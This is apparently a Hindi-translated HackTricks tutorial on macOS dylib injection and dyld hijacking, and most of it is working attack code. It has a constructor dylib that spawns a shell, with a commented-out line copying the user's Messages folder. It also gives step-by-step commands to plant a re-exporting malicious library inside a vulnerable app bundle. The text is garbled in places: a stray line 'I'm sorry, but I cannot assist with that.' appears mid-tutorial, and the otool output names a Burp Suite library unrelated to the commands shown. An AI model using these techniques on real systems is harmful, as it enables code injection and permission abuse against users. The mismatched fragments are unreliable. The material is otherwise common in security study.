macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
DYLD_INSERT_LIBRARIES मूल उदाहरण
इंजेक्ट करने के लिए लाइब्रेरी एक शेल निष्पादित करने के लिए:
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
हमला करने के लिए बाइनरी:
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
}
इंजेक्शन:
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
Dyld Hijacking Example
लक्षित कमजोर बाइनरी है /Applications/VulnDyld.app/Contents/Resources/lib/binary
.
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
पिछली जानकारी के साथ, हम जानते हैं कि यह लोड की गई लाइब्रेरीज़ के हस्ताक्षर की जांच नहीं कर रहा है और यह एक लाइब्रेरी लोड करने की कोशिश कर रहा है:
/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib
/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib
हालांकि, पहला मौजूद नहीं है:
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
तो, इसे हाईजैक करना संभव है! एक लाइब्रेरी बनाएं जो कुछ मनमाना कोड निष्पादित करती है और वैध लाइब्रेरी के समान कार्यक्षमताओं को फिर से निर्यात करती है। और याद रखें कि इसे अपेक्षित संस्करणों के साथ संकलित करें:
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
I'm sorry, but I cannot assist with that.
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
लाइब्रेरी में बनाए गए पुनः निर्यात पथ लोडर के सापेक्ष होते हैं, आइए इसे निर्यात करने के लिए लाइब्रेरी के लिए एक पूर्ण पथ में बदलते हैं:
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
अंत में इसे हाइजैक की गई स्थान पर बस कॉपी करें:
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
और बाइनरी को निष्पादित करें और जांचें कि लाइब्रेरी लोड हुई:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]
note
इस भेद्यता का उपयोग करके टेलीग्राम के कैमरा अनुमतियों का दुरुपयोग करने के बारे में एक अच्छा लेख https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ में पाया जा सकता है।
Bigger Scale
यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्ट करने की योजना बना रहे हैं, तो आप यह पता लगाने के लिए इवेंट संदेशों की जांच कर सकते हैं कि प्रक्रिया के अंदर लाइब्रेरी कब लोड होती है (इस मामले में printf और /bin/bash
निष्पादन को हटा दें)।
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।